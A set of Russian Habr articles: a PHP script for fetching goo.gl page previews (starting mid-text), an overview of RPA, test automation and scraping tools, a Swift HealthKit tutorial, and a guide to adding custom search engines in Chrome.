а напомнило про нее мне ресурс [goo.gl](http://goo.gl/), а точнее новый дизайн, и новые функции, в том числе превью страницы к которой мы хотим получить короткий url. Да, для тех кто не знает goo.gl предоставляет возможность получить короткий url.
Решил поискать информацию по запросу «clients1.google.com/webpagethumbnail», на данный адрес ссылается google seach для получения скриншотов сайтов, и наткнулся на вот [эту](http://phpotdel.ru/2012/03/02/skript-zagruzki-skrinshotov-s-google.html) статью, здесь уже описан реализованный метод, который хотел, изначально, воплотить я.
Немного расстроенный, и в то же время рад что есть уже готовое для моей плюшки, вернулся с интересом к goo.gl, здесь заглянуть в отправляемые запросы, и что же я вижу:
Тут уже нет страшных параметров, есть url api нашей сокращалки, и есть два параметра:
— security\_token — как я понял необязательный параметр (исправьте меня если я не прав)
— url — и адрес по которому хотим получить информацию
Все предельно ясно и понятно, ограничений не замечено, пробуем получить желаемое. Написал небольшой тестовый скрипт, на котором и экспериментировал, вышла вот что:
```
header('Content-Type: text/html; charset=utf-8');//устанавливаем кодировку
define('URL_API', 'http://goo.gl/api/shorten');//определяем константу с адрессом откуда будем получать данные
/*
* Функция служит для отправки запроса на нужный адресс
*
* @param string $wab_page
* url страницы, привью которой хотим получить
* @param string $url
* url отправки запроса
* @param boolean $header
* определяет получить возвращаемые значения или только заголовки
*
* @return boolean or decode json
* возвращает либо true, при $header=TRUE и существовании файла,
* или ответ сервера в формате decode json
*/
function http_request($wab_page, $url=URL_API, $header=FALSE) {
$ch = curl_init();//инициализируем сеанс
curl_setopt($ch, CURLOPT_HEADER, $header);//включаем/выключаем вывод заголовков
curl_setopt($ch, CURLOPT_NOBODY, $header);//включаем/выключаем вывод тела ответа
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);//следуем всем заголовкам "Location: "
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);//теперь curl вернет нам ответ, а не выведет
if(!$header){//проверяем хотим мы получить только заголовки или нет, если нет то
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7');//прикидываемся браузером
curl_setopt($ch, CURLOPT_POST, TRUE);//говорим что хотим передать данные методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, 'url='.urlencode($wab_page).'&security_token=');//устанавливаем переменные, которые будут переданные по методу post
}else{//если да то
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//останавливаем curl от проверки сертификата
}
curl_setopt($ch, CURLOPT_URL, $url);//уcтанавливаем урл, к которому обратимся
$response = curl_exec($ch);//выполняем запрос curl
curl_close($ch);//завершает сеанс curl и освобождает все ресурсы
if($header){//если получаем только заголовки, то
if(strpos($response, "200 OK")!==false)//проверяем код статуса, если 200 то все ок
return true;//возвращаем положительный ответ
}else//если хотим ответ, то
return json_decode($response);//возвращаем decode json строку с ответом
}
$wab_page='http://b-d.com.ua/';//картинку какого сайта хотим получить
$request=http_request($wab_page);//делаем запрос к гуглу
if($request){//если что то пришло, то
$img=$request->preview_url;//получаем url картинки
$short_url=$request->short_url;//получаем короткий линк сайта
if(http_request(null,$img,true)){//проверяем наличие изображения, если есть
echo $wab_page.' - <'.$short_url.'>
';//выводим данные
}else{//если нет изображения
echo $wab_page.' - <'.$short_url.'>
что то нет желанной картинки у гугла';//выводим данные
}
}else{
echo 'Ошибка запроса =(';
}
```
Откомментировал весь код, что бы было понятно что я здесь творю. Файлом скачать можно [здесь](http://dl.dropbox.com/u/37043322/habr/screenshot/index.php).
Коротко опишу:
— первым делом делаем запрос по адресу api «[goo.gl/api/shorten](http://goo.gl/api/shorten)», в ответ получаем json строку с информацией: «short\_url», «long\_url»,«creation\_time»,«preview\_url»
— далее проверяю существование изображения(т.к., на сколько я понял, возвращается путь к изображению всегда), проверяя заголовки на статус 200
— если все хорошо то отдаем картинку, не все хорошо сообщаем об этом
Чем мне нравится такой подход больше всех остальных:
— Я завишу только от гугла, вряд ли он просто закроется, или перестанет работать, как сторонний ресурс, с другой стороны он может прикрыть такую возможность получения превью(но на этот случай у меня есть mShots)
— Данный подход быстрее, и короче по коду, чем делать запросы к поисковику и парсить страницы
— И тут я могу еще получить короткий адресс что для моей задачи является положительным дополнением
К сожалению тестовую страницу не сделал, боюсь хостинг не выдержит, если кто то может предложить где можно разместить страницу, с радостью последую совету.
На этом все, надеюсь многим будет полезна информации, догадываюсь где сразу найдут многие применении.
P.S. Жду любых исправлений и дополнений, в особенности интересует как можно улучшить мой существующий код, заранее прошу прощение за возможные неточности и особенно орфографию, время суток сказывается. | https://habr.com/ru/post/139710/ | null | ru | null |
# RPA инструменты и не только…
Однажды на работе мне поставили R&D задачу создать бота, который будет "ходить" по сайту, выбирать товары, заполнять формы и оплачивать покупки. На тот момент мы писали часть Antifraud системы, которая позволяла детектировать ботов в браузере. И с этого момента все началось...
Оглавление
----------
1. Коротко о RPA
2. Open source проекты
3. Платные сервисы
4. Test Automation
5. RPA vs Test Automation
6. Парсинг сайтов и RPA
7. BPM и RPA
8. Безопасный RPA...
9. Пример работы бота на Python
10. Как детектировать бота?
11. Выводы
Коротко о RPA
-------------
RPA (Robotic process automation) - это система, которая позволяет автоматизировать рутинные задачи (заполнение формы, перенос почты, и пр.), также можно сделать бота, который будет постоянно мониторить цены у конкурента, но это уже совсем другое... Если какое-то действие повторяется, то стоит задуматься над автоматизацией. Но не стоит пытаться автоматизировать все вокруг, хотя этого иногда очень хочется.
Более четкое определение:RPA - это технология, которая позволяет пользователям развертывать «цифровых сотрудников» или программных роботов, которые имитируют действия человека, взаимодействующего с различными ИТ системами, для выполнения задач. RPA помогает компаниям оптимизировать бизнес-процессы, повышать производительность и прибыльность компании в долгосрочной перспективе.
За время создания своего бота я нашел несколько направлений RPA:
Направления в RPAOpen source проекты
-------------------
Начнем сразу с open source проектов, т.к. они представляют большой интерес.
Рассмотрим инструменты относительно языков программирования:
RPA open sourceКонечно это не все инструменты, но по крайней мере основные, которые мне удалось найти. Я Python разработчик, поэтому рассмотрю только те инструменты, которые попробовал на практике.
Selenium & rpaframeworkОбъединил 2 технологии в 1 короткий обзор т.к. использовал их для одной и той же задачи: создание бота, который выбирает товары, добавляет их в корзину и оплачивает покупки. Цель: сдетектировать и заблокировать бота, используя fingerprint и треки мыши. О том как детектировать ботов будет в соответствующем разделе.
Selenium
--------
**Selenium** **WebDriver** — это инструмент для автоматизации действий веб-браузера. В большинстве случаев используется для тестирования Web-приложений, но этим не ограничивается. Очень часто с помощью данного инструмента создаются различные боты.
[**Selenium IDE**](https://chrome.google.com/webstore/detail/selenium-ide/mooikfkahbdckldjjndioackbalphokd) - инструмент для создания сценариев быстрого воспроизведения ошибок; расширение Chrome и Firefox, которая будет выполнять простую запись и воспроизведение взаимодействий с браузером.
RPA Framework
-------------
[RPA Framework](https://rpaframework.org/index.html) - это набор библиотек и инструментов с открытым исходным кодом для RPA, предназначенный для использования с [Robot Framework](https://robotframework.org/) и с Python. Имеет синхронизацию с Selenium и [Playwright](https://playwright.dev/), библиотека для автоматизации Chromium, Firefox и WebKit с помощью единого API. Входит в набор инструментов Robocorp для автоматизации с открытым исходным кодом.
3 in 1 (Desktop / Web / Mobile)Robocorp
--------
[Robocorp](https://robocorp.com/products/) создала стек технологий RPA с открытым исходным кодом, чтобы можно было создавать и развертывать роботов. Также у них есть облачная платформа, куда можно деплоить созданных ботов.
TagUI
-----
[TagUI](https://github.com/kelaberetiv/TagUI) - бесплатный инструмент RPA от AI Singapore, финансируемой программой по ускорению развития ИИ. Проект TagUI является открытым и бесплатным. Его легко настроить и использовать, он работает в Windows, macOS и Linux.
TagUI RPAИз всех инструментов мне больше всего понравился RPA Framework, у которого есть возможность работать с Playwright, также в этом фреймворке очень удобные selector в отличие от Selenium, что позволяет гораздо быстрее писать код.
Пример на Selenium и на RPA FrameworkSelenium
--------
```
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from webdriver_manager.chrome import ChromeDriverManager
driver = webdriver.Chrome(executable_path=ChromeDriverManager().install())
driver.get("https://www.google.com/")
elem = driver.find_element_by_xpath("/html/body/div[1]/div[3]/form/div[1]/div[1]/div[1]/div/div[2]/input")
elem.send_keys("Python news")
elem.send_keys(Keys.RETURN)
driver.close()
```
RPA Framework
-------------
```
from RPA.Browser.Playwright import Playwright
from Browser.utils.data_types import KeyAction
lib = Playwright()
lib.open_browser("https://www.google.com/")
lib.fill_text(selector="input", txt="Python news")
lib.keyboard_key(KeyAction.press, "Enter")
lib.close_browser()
```
На мой взгляд у RPA Framework более удобное API.
Платные сервисы
---------------
Сказать что их много значит ничего не сказать. Платных Enterprise версий огромное количество. Но проблема в том, что многие организации не понимают истинной разницы в возможностях одного программного обеспечения RPA и другого. Возможно, они также слышали, что RPA предназначена только для очень крупных корпораций и что минимальные первоначальные инвестиции в лицензирование могут достигать 100 000 долларов в год, что теперь не всегда так.
RPA productsСписок ведущих поставщиков RPA на основе матрицы пиковых значений Everest Group для поставщиков технологий RPA 2020:
Everest группирует инструменты RPA в три основных сегмента в зависимости от их возможностей, влияния на рынок и способности успешно поставлять продукт. Everest также выделяет UiPath, Automation Anywhere, Blue Prism, Intellibot и Nividous в качестве лидеров.
UiPath vs Automation Anywhere vs Blue PrismКомпания Blue Prism, основанная в 2001 году, была пионером в секторе RPA и использовала термин «Robotic Process Automation». Четыре года спустя генеральный директор UiPath Дэниел Дайнс технически основал UiPath как компанию под названием «DeskOver». Однако только в 2015 году она действительно родилась и была переименована в RPA-компанию.
В таблице ниже представлен краткий снимок каждого из трех инструментов RPA с точки зрения доходов, размера, сотрудников и оценки:
VS
Изначально более длинная траектория Blue Prism сделала ее идеальным решением. Большинство его клиентов были крупными банковскими и финансовыми учреждениями - одними из немногих организаций, которые могли позволить себе изначально высокую стоимость входа RPA.
Спустя годы на рынок вышли более доступные конкуренты, такие как UiPath и Automation Anywhere с такими же (или лучшими) возможностями, повышенной гибкостью и простотой внедрения. В результате RPA была «демократизирована» для компаний любого размера во многих отраслях, включая малые и средние организации.
Еще один интересный источник для сравнения инструментов RPA - [G2](https://www.g2.com/search?utf8=%E2%9C%93&query=rpa&button=), рейтинг которого основан на данных в реальном времени из проверенных отзывов пользователей. По состоянию на 21 год каждая из трех лидирующих платформ оценивалась следующим образом:
1. UiPath - 4.6 / 5 звезд с 4722 отзывами
2. Automation Anywhere оценивает 4,5 / 5 звезд с 4310 отзывами
3. Blue Prism 4,4 / 5 звезд по 158 отзывам
Что делает UiPath самой популярной платформой RPA?
--------------------------------------------------
UiPath превратился в единственную платформу RPA на рынке, созданную для поддержки полного жизненного цикла автоматизации. Портфель продуктов компании продолжает оставаться в авангарде инноваций, постоянно расширяя свои традиционные возможности RPA за счет включения таких инструментов, как интеллектуальный анализ процессов, встроенная аналитика, улучшенные компоненты AI Fabric, RPA на основе SaaS и автоматизация тестирования.
UiPath также считается одним из самых быстрых решений RPA в отрасли - часто в 3-4 раза быстрее, чем другие продукты RPA.
Другие ключевые сильные стороны UiPath:
1. Long Running Workflows
2. Machine Learning and Predictive Analytics
3. Seamless Interconnectivity
4. Process Document Understanding
5. Citizen Development
6. Customer Satisfaction
7. Flexible Licensing Model and Low Cost of Entry
Оригинал статьи со сравнением: <https://www.auxis.com/blog/top-rpa-tools>
Для точной оценки состояния RPA компаний я использовал агрегатор [G2](https://www.g2.com/categories/robotic-process-automation-rpa/), он позволяет выбрать нужный инструмент в зависимости от различных показателей (рейтинг, цена, язык и пр.). Также можно построить G2 график для выбора инструмента, выглядит он следующим образом:
G2 GridМини обзор популярных и не очень RPA#### UiPath
Самое замечательное в UiPath - это простота использования.
UiPath прост в установке и имеет возможности разработки на основе пользовательского интерфейса. Подробное онлайн-руководство поможет быстро освоиться. Согласно Quadrant Review компании Gartner, UiPath имеет первоклассную команду поддержки клиентов, и в целом UiPath идеально подходит для компаний, стремящихся к быстрому внедрению RPA.
GUI UiPath#### Automation Anywhere
Automation Anywhere, наиболее известная своими инструментами RPA, представляет собой веб-решение RPA, которое использует программных ботов для завершения бизнес-процессов. Позволяет создавать сложные процессы RPA, обеспечивает масштабируемость, необходимую для удовлетворения широкого спектра задач, от рутинной обработки копирования и вставки до модификации данных.
GUI Automation Anywhere #### Blue Prism
Blue Prism, старейший инструмент в индустрии RPA, в последние годы неуклонно растет.
Blue Prism специализируется на сквозной RPA для компаний из списка Fortune. Blue Prism также предлагает высококлассных роботов. Роботы не только очень сложные, но и обладают глубокими возможностями создания сценариев для настройки расширенных сетей RPA. Имеет отличные возможности отладки и потрясающую масштабируемость.
GUI Blue Prism#### Microsoft Power Automate
Microsoft Power Automate предоставляет простое и эффективное решение RPA. Самым значительным преимуществом Microsoft Power Automate является простота настройки. Данные из экосистемы Microsoft легко доступны. Легко управлять оркестрацией робота.
#### WinActor
WinActor - это инструмент RPA, разработанный NTT Group. Он широко используется в таких отраслях, как разработка программного обеспечения и финансы.
GUI WinActorTest Automation
---------------
Автоматизация тестирования помогает разработчикам и тестировщикам экономить время и увеличивать охват тестированием за счет автоматизации повторяющихся тестовых случаев.
Типичным методом тестирования является тестирование пользовательского интерфейса, для которого тестировщики обычно используют специализированные фреймворки (например, Selenium), которые позволяют автоматизировать взаимодействие с пользовательским интерфейсом и проверять поведение системы. Если бы тестировщики выполняли эти тесты вручную, они никогда бы не смогли адекватно протестировать, найти проблемы на разных платформах и, возможно, пропустить определенные ошибки.
Automation Testing ToolsИнструментов ни сколько не меньше чем у RPA.
Вот небольшой список:
| | | |
| --- | --- | --- |
| Инструмент | Open source | Платная |
| Selenium | + | |
| Appium | + | |
| SoapUI | + | |
| TestProject | + | |
| Cerberus Testing | + | |
| Katalon Studio | | + |
| IBM Rational Functional Tester | | + |
| Telerik Test Studio | | + |
| TestComplete | | + |
| Ranorex | | + |
| Kobiton | | + |
| Subject7 | | + |
| HPE Unified Functional Testing (UFT) | | + |
Сводная картинка по некоторым инструментам:
QA Automation tools### RPA vs Test Automation
**Коротко:** это практически одно и то же.
RPA и Test Automation можно рассматривать как одно и то же. Компании используют их для автоматизации задач, экономии затрат и освобождения времени сотрудников для других дел.
**Сходства:**
* инструменты для обеих практик автоматизируют взаимодействие пользовательского интерфейса.
**Различия:**
* сценарии тестирования, созданные для автоматизации тестирования, зависят от тестируемой системы (SUT).
* RPA не различают, автоматизируют ли они перенос данных в систему бухгалтерского учета или, например, помечают ваши электронные письма.
* RPA инструменты не зависят от программного обеспечения, в котором запущен процесс.
Парсинг сайтов и RPA
--------------------
Цели у компаний, которые занимаются парсингом сайтов, разные, но тем не менее такие инструменты есть и некоторые из них являются полноценным RPA инструментом (например, [Octoparse](https://www.octoparse.com/)).
#### Process Bots VS Search Bots
Process Bots VS Search Bots**Сильные стороны RPA:**
* Low Code UX
* Управление входами и выходами через UX
* Работа с авторизацией для бизнес-приложений
* Передача данных в бизнес-процессе
* Бизнес-шаблоны для определенных шаблонов использования (обслуживание клиентов, финансовые таблицы и т.д.)
**Сильные стороны поискового робота:**
* Масштабирование для одновременной обработки десятков тысяч страниц
* Отсутствие конфигурации и автоматическая обработка для множества типов веб-страниц
* Поисковые роботы автоматически адаптируются при изменении страниц
* Богатая индивидуальная конфигурация
* Всестороннее чтение HTML страницы (Имя автора; UPC продукта)
* Автоматическое извлечение настроения из текста
* Извлечение связанных сущностей из текста (организации, местоположения, люди и т.д.)
**Но какие боты лучше?**
Как и все, от чего зависит, но одна ключевая отличительная черта между веб-ботами и ботами RPA может быть показана путем обсуждения того, в каких контекстах мы хотим, чтобы наши боты работали.
Боты RPA были разработаны в эпоху статических приложений. Таблицы необходимо обновлять с помощью бухгалтерского программного обеспечения. Заявки подаются в одном и том же формате месяцами или годами. А использование данных, передаваемых между приложениями, было четко определено и несколько ограничено.
Сегодня все наши приложения находятся в облаке. А конвейеры данных сильно зависят от неструктурированных данных из интернета. С появлением RPA вывод используемых нами приложений стал значительно более динамичным. Ключевое различие между поисковыми и технологическими роботами заключается в том, что поисковые боты созданы для адаптации к постоянно меняющимся веб-страницам, а RPA прерывается, когда сайты меняются, а точнее когда меняется дом-дерево в html разметке.
Теперь возьмем поискового бота с поддержкой AI. Вводим один сайт например, в Crawlbot Diffbot, ждем несколько минут, и тысячи страниц распознаются и анализируются как страницы продуктов. Загружаем данные в формате JSON или CSV, либо загружаем приложение или панель инструментов с выбранными результатами. Основная технология, лежащая в основе этого варианта использования, возможно будет лучше чем боты RPA. Поисковые боты сами ускоряют чтение и классификацию Интернета!
Инструменты для парсинга#### Scrape.do
Scrape.do - это простой в использовании инструмент веб-парсера, предоставляющий масштабируемый, быстрый API-интерфейс прокси-парсера для конечной точки. По рентабельности и функциональности Scrape.do занимает первое место в списке. Scrape.do - один из самых недорогих инструментов для парсинга веб-страниц.
#### Scrapingdog
Scrapingdog - это инструмент для очистки веб-страниц, который упрощает работу с прокси-серверами, браузерами, а также с CAPTCHA. Этот инструмент предоставляет HTML-данные любой веб-страницы за один вызов API. Одна из лучших особенностей Scraping dog - это наличие API LinkedIn.
#### ParseHub
ParseHub - это бесплатный инструмент веб-скребка, разработанный для извлечения онлайн-данных. Этот инструмент поставляется в виде загружаемого настольного приложения. Он предоставляет больше функций, чем большинство других скребков, например, вы можете очищать и загружать изображения / файлы, загружать файлы CSV и JSON. Вот список других его функций.
#### Diffbot
Diffbot - это еще один инструмент для парсинга веб-страниц, который предоставляет данные, извлеченные с веб-страниц. Этот сборщик данных - один из лучших сборщиков контента. Он позволяет автоматически идентифицировать страницы с помощью функции Analyze API и извлекать продукты, статьи, обсуждения, видео или изображения.
#### Octoparse
Octoparse выделяется как простой в использовании инструмент для парсинга веб-страниц без кода. Он предоставляет облачные сервисы для хранения извлеченных данных и ротации IP-адресов для предотвращения блокировки IP-адресов. Вы можете запланировать парсинг в любое определенное время. Кроме того, он предлагает функцию бесконечной прокрутки. Результаты загрузки могут быть в форматах CSV, Excel или API.
#### ScrapingBee
ScrapingBee - еще один популярный инструмент для извлечения данных. Он отображает веб-страницу, как если бы это был настоящий браузер, что позволяет управлять тысячами безголовых экземпляров с помощью последней версии Chrome.
#### Luminati
Luminati - это веб-парсер с открытым исходным кодом для извлечения данных. Это сборщик данных, обеспечивающий автоматизированный и настраиваемый поток данных.
#### Scraper API
Scraper API - это прокси API для парсинга веб-страниц. Этот инструмент помогает управлять прокси-серверами, браузерами и CAPTCHA, поэтому вы можете получить HTML-код с любой веб-страницы, выполнив вызов API.
#### Scrapy
Еще один в нашем списке лучших инструментов для парсинга - Scrapy. Scrapy - это платформа для совместной работы с открытым исходным кодом, предназначенная для извлечения данных с веб-сайтов. Это библиотека для парсинга веб-страниц для разработчиков Python.
#### Import.io
Инструмент для парсинга веб-сайтов с оперативным управлением всеми веб-данными, обеспечивая точность, полноту и надежность. Import.io предлагает конструктор для формирования собственных наборов данных путем импорта данных с определенной веб-страницы и последующего экспорта извлеченных данных в CSV. Кроме того, он позволяет создавать более 1000 API-интерфейсов в соответствии с вашими требованиями. Есть приложение для Mac OS X, Linus и Windows.
BPM и RPA
---------
**BPM (Business Process Management, управление бизнес-процессами)** – это концепция процессного управления организацией, сочетающая в себе идеологию и программное обеспечение для управления бизнес-процессами.
Концепция BPM рассматривает всю работу компании как набор из множества бизнес-процессов и четко отвечает на все вопросы о каждом из них (например, где и когда выполняется процесс, кто ответственный и т.д.).
Основная функция BPM-системы — это организация правильного взаимодействия участников бизнес-процесса.
Основной источник неэффективности процессов, как правило, находится в моментах передачи ответственности между его исполнителями. Именно здесь случается искажение или неполная передача информации, потеря задач, нарушение сроков исполнения, а то и просто непонимание, как бизнес-процесс должен продолжаться.
Второй основной точкой неэффективности бизнес-процессов являются люди: они совершают ошибки, долго выполняют свои задачи и при этом дороги. Благодаря технологии RPA исполнителей бизнес-процессов можно заменить роботами, что сделает исполнение процессов дешевле и качественнее.
CAMUNDAСервисы BPM с интеграцией RPACamunda
-------
Платформа Camunda обеспечивает подход на основе жизненного цикла к проектированию, организации, анализу и мониторингу ваших RPA-ботов в том виде, в каком они работают сегодня. Кроме того, Camunda предлагает архитектурный путь вперед, который в будущем заменит ботов RPA на API / микросервисы.
**Основные преимущества:**
* Проектирование сквозного процесса
* Согласование сценариев RPA
* Оперативное наблюдение за действиями ботов RPA
* Аналитика RPA
ELMA
----
В BPM-системе ELMA робот участвует в процессе наравне с обычными пользователями. В гибких бизнес-процессах ELMA роботы могут постепенно заменять пользователей системы — задача за задачей. Освободившиеся от скучной работы сотрудники смогут перераспределить это время и свой опыт на более интересные творческие и полезные для компании задачи.
Выгоды для бизнеса от использования RPA + BPM:
* Снижение издержек на рутинные операции.
* Масштабирование бизнеса без расширения штата.
* Освобождение времени сотрудников на более интеллектуальный труд.
* Лучший Customer Experience за счет качества и скорости сервиса.
ProcessMaker
------------
ProcessMaker - это простое в использовании программное решение для управления бизнес-процессами (BPM) и рабочими процессами. Сочетает корпоративную разработку с низким уровнем кода и ведущую в отрасли интеллектуальную автоматизацию рабочих процессов.
Безопасный RPA...
-----------------
**Взлом RPA**
Можно ли взломать RPA? Да, можно. Например, обработка данных с сайта (загрузка картинок, текста и пр.), откуда робот может скачать зараженный скрипт под видом обычной картинки, а скаченный скрипт может повлиять на работу бота, добавляя новые правила в обработку, или просто остановит его. Много что можно сделать, выбор огромный.
Риски безопасности, на которые стоит обратить внимание:
* **Риски выбора инструмента:** выбор нужного инструмента от проверенного производителя. Компании обычно выбирают инструменты, не соответствующие их требованиям.
* **Операционные риски или риски исполнения:** развертывание правильной операционной модели необходимо для уменьшения функциональных проблем или проблем с производительностью.
* **Злоупотребление привилегированным доступом:** злоумышленники получают несанкционированный доступ к системе, чтобы получить конфиденциальные данные пользователя и чтобы свободно перемещаться в сетях робота. Вредоносное программное обеспечение, установленное внутри системы, которое создаст сценарий уничтожения важных конфиденциальных данных, нарушая жизненно важные бизнес-процессы.
* **Раскрытие конфиденциальных данных:** malware проникает в систему и создает сценарий, при котором данные пользователей утекают в сеть.
* **Отказ в обслуживании:** создание необходимых условия для остановки работы бота.
Но самая серьезная проблема состоит в том, чтобы гарантировать, что конфиденциальные данные не будут использованы неправомерно с помощью привилегий, присвоенных программным роботам или разработчикам рабочих процессов для роботов.
Проблема безопасности может быть разбита на два тесно взаимосвязанных момента:
* **Безопасность данных:** Цель - конфиденциальность и правильность использования данных.
* **Безопасность доступа:** Цель - исключить возможность неавторизованного доступа пользователей и манипулирования личными данными, с которыми имеют дело роботы.
**RPA для пентеста**
Посмотрим с позиции пентестера. Мы можем с помощью RPA создать скрипт, который будет циклически проверять страницы на уязвимости. Рассуждая дальше, мы можем подготовить целую армию роботов, чтобы симулировать атаки на различные API и сайты. Можно попробовать автоматизировать основные популярные сценарии взлома.
Продолжение следует...
----------------------
В следующей статье мы создадим своего бота, рассмотрим какие есть алгоритмы детектирования ботов, которые написаны на Selenium и с помощью RPA. Создадим свой алгоритм, подведем итоги. | https://habr.com/ru/post/561270/ | null | ru | null |
# Работа с HealthKit. Часть 1
В цикле статей наши коллеги из Techmas поделятся опытом работы с HealthKit и созданием приложений для фитнеса. Первая статья является вводной по технологии и рассматривает приложение, которое выбирает персональные данные из Health.
Платформа HealthKit была опубликована компанией Apple в iOS 8. Она представляет собой API для сторонних приложений, который позволяет использовать собирать информацию о состояние здоровья пользователя. HealthKit включает в себя предустановленное по умолчанию на iOS8 и iOS9 приложение Health, которое отображает все имеющиеся данные: физическая нагрузка, питание, давление, калории, время сна и прочие персональные характеристики.
Сразу после запуска платформы разработчики столкнулись с рядом [проблем](https://discussions.apple.com/thread/6568048), которые привели к временному запрету на ее интеграцию. Сейчас все исправлено и отлажено, а приложений в AppStore с использованием HealthKit становится все больше.
Общие сведения
---------------
Итак, HealthKit является агрегатом с интерфейсом для доступа ко всей информации:
Преимущества его использования для разработчиков приложений:
* HealthKit служит общим хранилищем данных для набора приложений. Например, для подсчета количества шагов пользователи могут использовать как разные приложения, так и разные устройства. При установке каждого нового приложения история будет сохраняться.
* Разные приложения могут обмениваться данными друг с другом без использования дополнительных интеграционных решений. Вся информация доступна в приложение Health.
* HealthKit дает возможность для настройки отдельных прав каждому приложению по определенным показателям.
* Расширения функционала приложений за счет использования дополнительных данных о здоровье от сторонних приложений.
Отметим, что HealthKit и приложение Health пока недоступны для iPad.
Немного теории
--------------
Сам HealthKit представляет собой иерархию неизменяемых классов, наследуемых от абстрактного класса HKObject.
Каждый объект имеет свойства:
* UUID. Уникальный идентификатор записи.
* Source. Источник данных (может быть как устройство, так и приложение).
* Metadata. Дополнительные данные о записи. Предоставляет собой словарь, содержащий как предопределенные, так и пользовательские ключи.
Объекты в HealthKit могут быть двух типов: характеристики (characteristics) и выборки (samples). Характеристики представляют собой данные, которые не изменяются со временем: пол, дата рождения, группа крови. Сторонние приложения не могут изменять эти данные. Выборки же доступны для добавления новых данных. Это объекты классов, наследуемых от HKSample. Они имеют следующие свойства:
* Type. Тип выборки: количество шагов, время сна, пр.
* Start time. Начало времени выборки.
* End time. Конец времени расчета выборки. Если выборка в моменте, то значение совпадает с началом времени.
Пример приложения
-----------------
Ниже мы рассмотрим создание приложения, которое запрашивает использование HealthKit и выводит данные по характеристикам пользователя.
#### Права на использование HealthKit
Использовать HealthKit могут только те приложения, для которых использование HealthKit APIs является основным функционалом. Например, приложение для органайзера и ведения записей не будет отображать данные о состояние здоровья. Кроме этого, есть и ряд других ограничений:
* Данные о здоровье не могут быть использованы в рекламных целях. При этом сами приложения с HealthKit могут использовать рекламные блоки и зарабатывать на объявлениях.
* Приложение может делиться информацией из HealthKit только с разрешения пользователя и только с тем приложением, которое также авторизовано и использует HealthKit.
Весь список ограничений доступен на сайте [Apple](https://developer.apple.com/library/ios/documentation/HealthKit/Reference/HealthKit_Framework/index.html#//apple_ref/doc/uid/TP40014707).
Теперь добавим HealthKit в тестовое приложение. Для этого, во-первых, установим расширение для HealthKit в настройках проекта.
Важно, что App ID должен сдержать строку HealthKit, иначе опция будет недоступна.
Далее добавим разрешение пользователя на использование данных о состояние здоровья.
Импортируем расширение для использования HealthKit:
```
import HealthKit
```
Теперь необходимо определить объект класса HKHealthStore, который является одним из основных в HealthKit. HealthKitStore позволяет получить права на доступ к данным HealthKit, возможность считывать характеристики и записывать новые выборки:
```
let healthKitStore: HKHealthStore = HKHealthStore()
```
Как мы отмечали ранее, пользователь выбирает только отдельные характеристики, к которым приложение имеет доступ. Все типы являются потомками HKObjectType.
Создадим функцию
```
authorizeHealthKit(completion: ((success:Bool, error:NSError!) -> Void)!)
```
В ней определим данные для чтения и записи.
Данные для чтения (характеристики):
```
let healthKitTypesToRead = Set(arrayLiteral:
HKObjectType.characteristicTypeForIdentifier(HKCharacteristicTypeIdentifierDateOfBirth)!,
HKObjectType.characteristicTypeForIdentifier(HKCharacteristicTypeIdentifierBiologicalSex)!
)
```
Данные для чтения и записи (выборки):
```
let healthKitTypesToWrite = Set(arrayLiteral:
HKObjectType.quantityTypeForIdentifier(HKQuantityTypeIdentifierActiveEnergyBurned)!,
HKObjectType.quantityTypeForIdentifier(HKQuantityTypeIdentifierDistanceWalkingRunning)!
)
```
Кроме этого, добавим проверку на использование HKHealthStore на устройстве (на данный момент HealthKit недоступен на iPad):
```
if !HKHealthStore.isHealthDataAvailable()
{
let error = NSError(domain: "ru.techmas.techmasHealthKit", code: 2, userInfo: [NSLocalizedDescriptionKey:"HealthKit is not available in this Device"])
if( completion != nil )
{
completion(success:false, error:error)
}
return;
}
```
Наконец, запросим авторизацию передав в параметрах два набора с типами *Set* и *Set* для чтения и записи соответственно:
```
healthKitStore.requestAuthorizationToShareTypes(healthKitTypesToWrite, readTypes: healthKitTypesToRead) {
(success, error) -> Void in
if( completion != nil )
{
completion(success:success,error:error)
}
}
```
Добавим вызов функции в *viewDidLoad()*:
```
authorizeHealthKit { (authorized, error) -> Void in
if authorized {
print("HealthKit authorization received.")
}
else
{
print("HealthKit authorization denied!")
if error != nil {
print("\(error)")
}
}
```
При запуске приложения будет доступно окно:
#### Чтение характеристик
Следующим шагом получим характеристики. Добавим пол и возраст в приложение Health:
Создадим функцию *readProfile()*. Ее код приведен ниже:
```
func readProfile() -> (age:NSDate?, bioSex:HKBiologicalSexObject?)
{
// Reading Characteristics
var bioSex : HKBiologicalSexObject?
var dateOfBirth : NSDate?
do {
dateOfBirth = try healthKitStore.dateOfBirth()
bioSex = try healthKitStore.biologicalSex()
}
catch {
print(error)
}
return (dateOfBirth, bioSex)
}
```
Для доступа к характеристикам мы воспользовались созданным объектом *healthKitStore*.
Возможные идентификаторы и их типы для получения характеристик доступы в документации по [ссылке](https://developer.apple.com/library/prerelease/ios/documentation/HealthKit/Reference/HealthKit_Constants/).
Теперь используя следующее обращение мы получаем набор характеристик пользователя:
```
let profile = readProfile()
```
Код примера доступен в [git](https://github.com/barsuga/techHealthKit).
В следующих статьях мы отдельно опишем способы получения выборок и добавления данных по тренировкам. | https://habr.com/ru/post/271133/ | null | ru | null |
# Добавляем свои поисковые системы
Что мне нравится в Google Chrome, так это возможность очень удобной работы с разными поисковыми системами: ввел ключевое слово, пробел и печатаешь запрос. Однако этой функцией пользуются на 100% далеко не все.
Сегодня я хочу рассказать, как добавлять свои «поисковые системы» (это, на самом деле, могут быть не только поисковые системы) и тем самым повысить производительность работы в Интернете.
Где это все настраивается? Смотрим картинку:
1) Открываем диалог настроек Chrome, вкладку «Основные». Щелкаем кнопку «Управление».
2) В диалоге «Поисковые системы» нажимаем «Add...».
3) В появившемся диалоге заполняем параметры новой поисковой системы.
**Параметры:**
*Имя:* Та подсказка, которая будет отображаться в строке адреса. Chrome добавляет к ней префикс «Поиск », так что для красоты я склоняю имя так, чтобы оно отвечало на вопрос «Поиск *чего*?» или «Поиск *где*?».
